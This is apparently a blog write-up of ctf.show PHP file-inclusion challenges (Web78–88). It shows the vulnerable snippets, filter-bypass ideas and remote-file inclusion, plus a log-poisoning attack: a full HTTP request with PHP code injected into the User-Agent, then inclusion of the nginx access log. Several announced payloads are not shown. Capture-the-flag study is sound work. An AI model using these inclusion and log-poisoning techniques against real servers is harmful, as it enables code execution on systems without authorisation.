0
点赞
收藏
分享

微信扫一扫

wsl2中kali linux下的docker使用教程(教程总结)

大漠雪关山月 2024-11-25 阅读 17
web安全

竞争包含先不写了,有时间再写。

Web78

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

​ 常规文件包含,直接读flag.php,filter伪协议:

Web79:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

​ 这次有点不一样,带了个str_replace替换,所以读文件估计危险,打一打另外的操作

Web80:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

解法一:

​ 远程文件包含,直接在服务器上写一个txt文件,之后http协议包含即可。

解法二:

​ 包含日志文件:

​ 通过burp抓包,改user-agent,在其后面加一个php代码,比如phpinfo,

GET / HTTP/1.1
Host: 204e30c6-d77b-4e30-8694-5a79d576baf9.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0 <?php phpinfo();?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Priority: u=0, i
Te: trailers
Connection: close


​ 之后访问?file=/var/log/nginx/access.log这个文件即可。

Web81

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

​ 和上一题一样,日志文件包含?file=/var/log/nginx/access.log这个文件。

Web88:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

​ 没有过滤冒号,豆号,斜杠和分号,data协议打base64,去掉末尾的等号:

举报

相关推荐

0 条评论